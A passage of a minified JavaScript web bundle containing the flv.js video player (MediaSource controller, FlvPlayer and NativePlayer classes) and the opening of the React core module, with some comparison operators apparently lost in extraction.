onSourceOpen"),this._mediaSource.removeEventListener("sourceopen",this.e.onSourceOpen),this._pendingSourceBufferInit.length>0)for(var e=this._pendingSourceBufferInit;e.length;){var t=e.shift();this.appendInitSegment(t,!0)}this._hasPendingSegments()&&this._doAppendSegments(),this._emitter.emit(ae.SOURCE_OPEN)}},{key:"_onSourceEnded",value:function(){c.v(this.TAG,"MediaSource onSourceEnded")}},{key:"_onSourceClose",value:function(){c.v(this.TAG,"MediaSource onSourceClose"),this._mediaSource&&null!=this.e&&(this._mediaSource.removeEventListener("sourceopen",this.e.onSourceOpen),this._mediaSource.removeEventListener("sourceended",this.e.onSourceEnded),this._mediaSource.removeEventListener("sourceclose",this.e.onSourceClose))}},{key:"_hasPendingSegments",value:function(){var e=this._pendingSegments;return e.video.length>0||e.audio.length>0}},{key:"_hasPendingRemoveRanges",value:function(){var e=this._pendingRemoveRanges;return e.video.length>0||e.audio.length>0}},{key:"_onSourceBufferUpdateEnd",value:function(){this._requireSetMediaDuration?this._updateMediaSourceDuration():this._hasPendingRemoveRanges()?this._doRemoveRanges():this._hasPendingSegments()?this._doAppendSegments():this._hasPendingEos&&this.endOfStream(),this._emitter.emit(ae.UPDATE_END)}},{key:"_onSourceBufferError",value:function(e){c.e(this.TAG,"SourceBuffer Error: ".concat(e))}}]),e}(),se={NETWORK_ERROR:"NetworkError",MEDIA_ERROR:"MediaError",OTHER_ERROR:"OtherError"},le={NETWORK_EXCEPTION:b.EXCEPTION,NETWORK_STATUS_CODE_INVALID:b.HTTP_STATUS_CODE_INVALID,NETWORK_TIMEOUT:b.CONNECTING_TIMEOUT,NETWORK_UNRECOVERABLE_EARLY_EOF:b.UNRECOVERABLE_EARLY_EOF,MEDIA_MSE_ERROR:"MediaMSEError",MEDIA_FORMAT_ERROR:G.FORMAT_ERROR,MEDIA_FORMAT_UNSUPPORTED:G.FORMAT_UNSUPPORTED,MEDIA_CODEC_UNSUPPORTED:G.CODEC_UNSUPPORTED},ue=function(){function e(t,n){if(Object(i.a)(this,e),this.TAG="FlvPlayer",this._type="FlvPlayer",this._emitter=new l.a,this._config=I(),"object"===typeof n&&Object.assign(this._config,n),"flv"!==t.type.toLowerCase())throw new g("FlvPlayer requires an flv MediaDataSource input!");!0===t.isLive&&(this._config.isLive=!0),this.e={onvLoadedMetadata:this._onvLoadedMetadata.bind(this),onvSeeking:this._onvSeeking.bind(this),onvCanPlay:this._onvCanPlay.bind(this),onvStalled:this._onvStalled.bind(this),onvProgress:this._onvProgress.bind(this)},self.performance&&self.performance.now?this._now=self.performance.now.bind(self.performance):this._now=Date.now,this._pendingSeekTime=null,this._requestSetTime=!1,this._seekpointRecord=null,this._progressChecker=null,this._mediaDataSource=t,this._mediaElement=null,this._msectl=null,this._transmuxer=null,this._mseSourceOpened=!1,this._hasPendingLoad=!1,this._receivedCanPlay=!1,this._mediaInfo=null,this._statisticsInfo=null;var r=S.chrome&&(S.version.major<50||50===S.version.major&&S.version.build<2661);this._alwaysSeekKeyframe=!!(r||S.msedge||S.msie),this._alwaysSeekKeyframe&&(this._config.accurateSeek=!1)}return Object(r.a)(e,[{key:"destroy",value:function(){null!=this._progressChecker&&(window.clearInterval(this._progressChecker),this._progressChecker=null),this._transmuxer&&this.unload(),this._mediaElement&&this.detachMediaElement(),this.e=null,this._mediaDataSource=null,this._emitter.removeAllListeners(),this._emitter=null}},{key:"on",value:function(e,t){var n=this;e===D.MEDIA_INFO?null!=this._mediaInfo&&Promise.resolve().then((function(){n._emitter.emit(D.MEDIA_INFO,n.mediaInfo)})):e===D.STATISTICS_INFO&&null!=this._statisticsInfo&&Promise.resolve().then((function(){n._emitter.emit(D.STATISTICS_INFO,n.statisticsInfo)})),this._emitter.addListener(e,t)}},{key:"off",value:function(e,t){this._emitter.removeListener(e,t)}},{key:"attachMediaElement",value:function(e){var t=this;if(this._mediaElement=e,e.addEventListener("loadedmetadata",this.e.onvLoadedMetadata),e.addEventListener("seeking",this.e.onvSeeking),e.addEventListener("canplay",this.e.onvCanPlay),e.addEventListener("stalled",this.e.onvStalled),e.addEventListener("progress",this.e.onvProgress),this._msectl=new oe(this._config),this._msectl.on(ae.UPDATE_END,this._onmseUpdateEnd.bind(this)),this._msectl.on(ae.BUFFER_FULL,this._onmseBufferFull.bind(this)),this._msectl.on(ae.SOURCE_OPEN,(function(){t._mseSourceOpened=!0,t._hasPendingLoad&&(t._hasPendingLoad=!1,t.load())})),this._msectl.on(ae.ERROR,(function(e){t._emitter.emit(D.ERROR,se.MEDIA_ERROR,le.MEDIA_MSE_ERROR,e)})),this._msectl.attachMediaElement(e),null!=this._pendingSeekTime)try{e.currentTime=this._pendingSeekTime,this._pendingSeekTime=null}catch(n){}}},{key:"detachMediaElement",value:function(){this._mediaElement&&(this._msectl.detachMediaElement(),this._mediaElement.removeEventListener("loadedmetadata",this.e.onvLoadedMetadata),this._mediaElement.removeEventListener("seeking",this.e.onvSeeking),this._mediaElement.removeEventListener("canplay",this.e.onvCanPlay),this._mediaElement.removeEventListener("stalled",this.e.onvStalled),this._mediaElement.removeEventListener("progress",this.e.onvProgress),this._mediaElement=null),this._msectl&&(this._msectl.destroy(),this._msectl=null)}},{key:"load",value:function(){var e=this;if(!this._mediaElement)throw new m("HTMLMediaElement must be attached before load()!");if(this._transmuxer)throw new m("FlvPlayer.load() has been called, please call unload() first!");this._hasPendingLoad||(this._config.deferLoadAfterSourceOpen&&!1===this._mseSourceOpened?this._hasPendingLoad=!0:(this._mediaElement.readyState>0&&(this._requestSetTime=!0,this._mediaElement.currentTime=0),this._transmuxer=new re(this._mediaDataSource,this._config),this._transmuxer.on(te.INIT_SEGMENT,(function(t,n){e._msectl.appendInitSegment(n)})),this._transmuxer.on(te.MEDIA_SEGMENT,(function(t,n){if(e._msectl.appendMediaSegment(n),e._config.lazyLoad&&!e._config.isLive){var i=e._mediaElement.currentTime;n.info.endDts>=1e3*(i+e._config.lazyLoadMaxDuration)&&null==e._progressChecker&&(c.v(e.TAG,"Maximum buffering duration exceeded, suspend transmuxing task"),e._suspendTransmuxer())}})),this._transmuxer.on(te.LOADING_COMPLETE,(function(){e._msectl.endOfStream(),e._emitter.emit(D.LOADING_COMPLETE)})),this._transmuxer.on(te.RECOVERED_EARLY_EOF,(function(){e._emitter.emit(D.RECOVERED_EARLY_EOF)})),this._transmuxer.on(te.IO_ERROR,(function(t,n){e._emitter.emit(D.ERROR,se.NETWORK_ERROR,t,n)})),this._transmuxer.on(te.DEMUX_ERROR,(function(t,n){e._emitter.emit(D.ERROR,se.MEDIA_ERROR,t,{code:-1,msg:n})})),this._transmuxer.on(te.MEDIA_INFO,(function(t){e._mediaInfo=t,e._emitter.emit(D.MEDIA_INFO,Object.assign({},t))})),this._transmuxer.on(te.METADATA_ARRIVED,(function(t){e._emitter.emit(D.METADATA_ARRIVED,t)})),this._transmuxer.on(te.SCRIPTDATA_ARRIVED,(function(t){e._emitter.emit(D.SCRIPTDATA_ARRIVED,t)})),this._transmuxer.on(te.STATISTICS_INFO,(function(t){e._statisticsInfo=e._fillStatisticsInfo(t),e._emitter.emit(D.STATISTICS_INFO,Object.assign({},e._statisticsInfo))})),this._transmuxer.on(te.RECOMMEND_SEEKPOINT,(function(t){e._mediaElement&&!e._config.accurateSeek&&(e._requestSetTime=!0,e._mediaElement.currentTime=t/1e3)})),this._transmuxer.open()))}},{key:"unload",value:function(){this._mediaElement&&this._mediaElement.pause(),this._msectl&&this._msectl.seek(0),this._transmuxer&&(this._transmuxer.close(),this._transmuxer.destroy(),this._transmuxer=null)}},{key:"play",value:function(){return this._mediaElement.play()}},{key:"pause",value:function(){this._mediaElement.pause()}},{key:"_fillStatisticsInfo",value:function(e){if(e.playerType=this._type,!(this._mediaElement instanceof HTMLVideoElement))return e;var t=!0,n=0,i=0;if(this._mediaElement.getVideoPlaybackQuality){var r=this._mediaElement.getVideoPlaybackQuality();n=r.totalVideoFrames,i=r.droppedVideoFrames}else void 0!=this._mediaElement.webkitDecodedFrameCount?(n=this._mediaElement.webkitDecodedFrameCount,i=this._mediaElement.webkitDroppedFrameCount):t=!1;return t&&(e.decodedFrames=n,e.droppedFrames=i),e}},{key:"_onmseUpdateEnd",value:function(){if(this._config.lazyLoad&&!this._config.isLive){for(var e=this._mediaElement.buffered,t=this._mediaElement.currentTime,n=0,i=0;i=t+this._config.lazyLoadMaxDuration&&null==this._progressChecker&&(c.v(this.TAG,"Maximum buffering duration exceeded, suspend transmuxing task"),this._suspendTransmuxer())}}},{key:"_onmseBufferFull",value:function(){c.v(this.TAG,"MSE SourceBuffer is full, suspend transmuxing task"),null==this._progressChecker&&this._suspendTransmuxer()}},{key:"_suspendTransmuxer",value:function(){this._transmuxer&&(this._transmuxer.pause(),null==this._progressChecker&&(this._progressChecker=window.setInterval(this._checkProgressAndResume.bind(this),1e3)))}},{key:"_checkProgressAndResume",value:function(){for(var e=this._mediaElement.currentTime,t=this._mediaElement.buffered,n=!1,i=0;i=r&&e=a-this._config.lazyLoadRecoverDuration&&(n=!0);break}}n&&(window.clearInterval(this._progressChecker),this._progressChecker=null,n&&(c.v(this.TAG,"Continue loading from paused position"),this._transmuxer.resume()))}},{key:"_isTimepointBuffered",value:function(e){for(var t=this._mediaElement.buffered,n=0;n=i&&e0){var r=this._mediaElement.buffered.start(0);(r<1&&e0&&t.currentTime0){var i=n.start(0);if(i<1&&t0&&(this._mediaElement.currentTime=0),this._mediaElement.preload="auto",this._mediaElement.load(),this._statisticsReporter=window.setInterval(this._reportStatisticsInfo.bind(this),this._config.statisticsInfoReportInterval)}},{key:"unload",value:function(){this._mediaElement&&(this._mediaElement.src="",this._mediaElement.removeAttribute("src")),null!=this._statisticsReporter&&(window.clearInterval(this._statisticsReporter),this._statisticsReporter=null)}},{key:"play",value:function(){return this._mediaElement.play()}},{key:"pause",value:function(){this._mediaElement.pause()}},{key:"_onvLoadedMetadata",value:function(e){null!=this._pendingSeekTime&&(this._mediaElement.currentTime=this._pendingSeekTime,this._pendingSeekTime=null),this._emitter.emit(D.MEDIA_INFO,this.mediaInfo)}},{key:"_reportStatisticsInfo",value:function(){this._emitter.emit(D.STATISTICS_INFO,this.statisticsInfo)}},{key:"type",get:function(){return this._type}},{key:"buffered",get:function(){return this._mediaElement.buffered}},{key:"duration",get:function(){return this._mediaElement.duration}},{key:"volume",get:function(){return this._mediaElement.volume},set:function(e){this._mediaElement.volume=e}},{key:"muted",get:function(){return this._mediaElement.muted},set:function(e){this._mediaElement.muted=e}},{key:"currentTime",get:function(){return this._mediaElement?this._mediaElement.currentTime:0},set:function(e){this._mediaElement?this._mediaElement.currentTime=e:this._pendingSeekTime=e}},{key:"mediaInfo",get:function(){var e={mimeType:(this._mediaElement instanceof HTMLAudioElement?"audio/":"video/")+this._mediaDataSource.type};return this._mediaElement&&(e.duration=Math.floor(1e3*this._mediaElement.duration),this._mediaElement instanceof HTMLVideoElement&&(e.width=this._mediaElement.videoWidth,e.height=this._mediaElement.videoHeight)),e}},{key:"statisticsInfo",get:function(){var e={playerType:this._type,url:this._mediaDataSource.url};if(!(this._mediaElement instanceof HTMLVideoElement))return e;var t=!0,n=0,i=0;if(this._mediaElement.getVideoPlaybackQuality){var r=this._mediaElement.getVideoPlaybackQuality();n=r.totalVideoFrames,i=r.droppedVideoFrames}else void 0!=this._mediaElement.webkitDecodedFrameCount?(n=this._mediaElement.webkitDecodedFrameCount,i=this._mediaElement.webkitDroppedFrameCount):t=!1;return t&&(e.decodedFrames=n,e.droppedFrames=i),e}}]),e}();o.install();var de={createPlayer:function(e,t){var n=e;if(null==n||"object"!==typeof n)throw new g("MediaDataSource must be an javascript object!");if(!n.hasOwnProperty("type"))throw new g("MediaDataSource must has type field to indicate video file type!");switch(n.type){case"flv":return new ue(n,t);default:return new ce(n,t)}},isSupported:function(){return M.supportMSEH264Playback()},getFeatureList:function(){return M.getFeatureList()}};de.BaseLoader=_,de.LoaderStatus=y,de.LoaderErrors=b,de.Events=D,de.ErrorTypes=se,de.ErrorDetails=le,de.FlvPlayer=ue,de.NativePlayer=ce,de.LoggingControl=j,Object.defineProperty(de,"version",{enumerable:!0,get:function(){return"__VERSION__"}});t.a=de},,function(e,t,n){"use strict";var i=n(27),r="function"===typeof Symbol&&Symbol.for,a=r?Symbol.for("react.element"):60103,o=r?Symbol.for("react.portal"):60106,s=r?Symbol.for("react.fragment"):60107,l=r?Symbol.for("react.strict_mode"):60108,u=r?Symbol.for("react.profiler"):60114,c=r?Symbol.for("react.provider"):60109,d=r?Symbol.for("react.context"):60110,f=r?Symbol.for("react.forward_ref"):60112,h=r?Symbol.for("react.suspense"):60113,p=r?Symbol.for("react.memo"):60115,m=r?Symbol.for("react.lazy"):60116,g="function"===typeof Symbol&&Symbol.iterator;function v(e){for(var t="https://reactjs.org/docs/error-decoder.html?invariant="+e,n=1;nR.length&&R.push(e)}function I(e,t,n){return null==e?0:function e(t,n,i,r){var s=typeof t;"undefined"!==s&&"boolean"!==s||(t=null);var l=!1;if(null===t)l=!0;else switch(s){case"string":case"number":l=!0;break;case"object":switch(t.$$typeof){case a:case o:l=!0}}if(l)return i(r,t,""===n?"."+M(t,0):n),1;if(l=0,n=""===n?".":n+":",Array.isArray(t))for(var u=0;u